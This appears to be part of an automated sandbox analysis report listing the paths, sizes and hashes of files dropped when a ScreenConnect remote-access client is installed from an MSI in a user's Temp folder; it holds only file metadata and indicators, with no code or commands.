- SHA512 67f82ec7f72655a54764d03d8e1411a3ae3be6c530d255be24c1922756fe429c2a6fd6eef8ea52ddb373d3d2fec569bfd7ece41528a651c16ddf6c2e475dbc3d
- SSDEEP 3072:4I/B/XHckOJD8iTMRql7OoABi87fJ6fcv:tp1Mr7gM878
- TLSH T157E3AEFB63946D7EC9CF5D33B02159068EB1A6816233F75E6824B9F969637C043212E3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
- Size 30KB
- SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
- MD5 c69e36a64945fd08fcab850668f23b43
- SHA1 9ec1b0fc0191878095b354e3675c2c189c9f3671
- SHA512 ed2f6b0564e0c865e409adc8cedb9106305ce9d09b771bae0ad05d4ebab9ea019de837d112007a274dc3424c13e92d773300d82fdbaee0a717d58460235337de
- SSDEEP 768:Oxdv3EIccZzy7GLrwy46jqAj/EEcC7ClxFxWIbAdlbBu:kd/EIy7W46jbQEl7Clhb+lbM
- TLSH T17DD2290563FC4E3AD8EE4B797C75B1040BF09906A466EBA98CC9A0DA5F637C50B413E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
- Size 88KB
- SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
- MD5 adc646a13173c507cab2e9f9ec64fc04
- SHA1 46e34fec0a8f57a8b822de5636f04f40ac31a2e0
- SHA512 98cd1901ce4dd6e0ab707e688e6c9779a636dae182dce001888ba895303be5aac62821525129e91591971d0ce37c07bbc3af62b985bd0c9085cebe7fc04cff98
- SSDEEP 1536:vVnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WACtMw8Nmb:v8wt7TvmbLLyXOWACtMc
- TLSH T13E938D22B6D19432E5B3063258B8DE410B7EFE278F7199977788024E5A742C09F39B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
- Size 1.7MB
- SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
- MD5 ec8d465726030540394241a1a9da0268
- SHA1 126ffa25462979c79c3cbe0b3cee40595a756b38
- SHA512 3cadd07d8d64e04629df1e377a416c1a8412091991f15cb3d0fda2f867a8440c9b70691671120db60fc3ca1dc348720f828a0e7a3605d2e98814394534e641d3
- SSDEEP 24576:/udrimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wCH36:/gi963PSumT0+TFiH7efPp3Z0
- TLSH T10085BE42F2D211F5D06B4478C8BE561BEB747C090360CBAF97D46E66AE337D09A3A352
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
- Size 534KB
- SHA256 f65a0d67c2398cd51c8d4cd4b95be81db4efe69ba9bda3d958e2b52becf216b3
- MD5 87a3edbd670265b8d90ca5f9197f0e5b
- SHA1 e03b9981eeea7f0e1e6668dffcdf854469266b19
- SHA512 a06e1d70d970b4af47cd50fb59614a72536934b9eba795bb5a14151cf4e09cef3d64fbcd7a87c592e717c62fcf665f66a41b0c5ae37dbaa423af16be129f5758
- SSDEEP 6144:JkhvEzmDZTtQDZLl+6H+/vEWcLLK/RBo5sWecwx2U4IvZOUu/qAUE4+UKFvhD1Vd:6hv1TSvxeWh5svtkLp
- TLSH T1E3C46C63337C9A3AC9AF073DB0A1540477B4E80A6646EB4F9D04B4E91F973859F052EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
- Size 1KB
- SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
- MD5 b9cb7b21547a1496d38fa23eac7b4f7f
- SHA1 5f6864aa05d57e9c1d1f068a1c18d450672df016
- SHA512 461bdc49435610596385c140a2ca86bb4029b5e2ac528db626184826a6c91674eecb7280e7770dbf6fb3e942b972c07adede30826242d4ec9d4ab6f1ebb8952f
- TLSH T106419F1CB5C0BE9915B25631E63241D1ECB019335266B0E478EE316B9F70EDA4BF32E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\NewUp.ClientSetup.msi
- Size 1.8MB
- SHA256 073f0075283ddf39085fad8024dccaafa1c8c3b98f42c7cbbb0d2f02821e97c2
- MD5 82ec5ab49af74fb2c6ce3eb820235424
- SHA1 5f4bd552074ae2b2aacd4374ab399d50b05ce6d7
- SHA512 647e3d1f124ff7dc0ac933139b81a3e180d41a71c3d0a679a965c62901c313c34045c7ca54ad4a2047da9a29bece54e1bd9c73669eeb901efe38c51cd978c9ba
- SSDEEP 24576:4ervARdHDez9yEMpppgHUySEMxGd7iLQUTecMUUGGuNKniIIoSAurhwQUv:trofj7puHYxGB+ZrXGuEiII9X1g
- TLSH T19085F13272A4C439E2B21A3DE93A86F15979BD14DA23C14F53747D1E79B0E805AA3373
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF0C4.tmp
- Size 336KB
- SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
- MD5 1512d0ea2638534e8b0f72222d7f4756
- SHA1 2f364fae63819b838ad1691ef97c900f531417bc
- SHA512 ace7699c2e5541d1eac4e5ba5a6d595720cf6cfb5a5967139ca014b6e183b1b27cc877882dc357d7e0e3f0fa3906f27bb0f8f6c63e9615e4d43ae9dc48ba8884
- SSDEEP 6144:4UUG777hkC5MoKnubIH7ElWrFjJ5nINXzmaQMx6:4UUa/hkuNKnubIIlORJtINXzWMQ
- TLSH T14874F11477E5803AF1E627356E75A2A116BC7D726A79C34F6B89052D8EF0BC09B34323
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF0C4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 172KB
- SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
- MD5 5ef88919012e4a3d8a1e2955dc8c8d81
- SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
- SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
- SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
- TLSH T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF0C4.tmp-\ScreenConnect.Core.dll
- Size 378KB
- SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
- MD5 6748408e4426f8f02b0e6d2a8cffd7b2
- SHA1 9ebd562f5a0e3b11e9ad80dd9f7519c822c85aa7
- SHA512 422f9af5d6d16e3c5e4ce732dca73a34a14cb3956cfb2749f56923e1a509a900a2776b53b30d30b8fc6c959edbde0c8f7297828373ac5954cb4a56c8c0fd8a65
- SSDEEP 6144:zVSlJpTfcyqRqpE1Qd6kMNUzILdohAYnk5CV8y1M55Q05yg55qvelp6y615ZbULc:zVapTzA/duzILdohAYnk5CV8y1M55Q0B
- TLSH T16B845C1567AC867FC59F873AB82118570370EC097099FF6B3B98E4B92D83745ED022E6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF0C4.tmp-\ScreenConnect.InstallerActions.dll
- Size 17KB
- SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
- MD5 58a3bbd1ab40755890868b8f32a362b2
- SHA1 8f2e073b770c2779e5bb1c77f4eafb6358fb78e6
- SHA512 06ef82b602007f15db5731cb46e7abc9f23ad3a381cd284dc3ed8b62374f158adaee6e66b07f6a71df8ee2b4f59828617103197ce986f1ac8f2b46936c17a6ef
- SSDEEP 384:JO/z1/5NrKnr1aNdeFVJrMX61kjvHU5ydo6b/1:Jw1/7KnkWFV2G5ynb/1
- TLSH T147828001B7EC962AF6FF3F74ADB201510A71FDA6AC35EB1E0980115E4C71B448AA0B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF5B7.tmp
- Size 202KB
- SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
- MD5 ba84dd4e0c1408828ccc1de09f585eda
- SHA1 e8e10065d479f8f591b9885ea8487bc673301298
- SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
- SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
- TLSH T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
- MD5 SHA1 SHA512 SSDEEP TLSH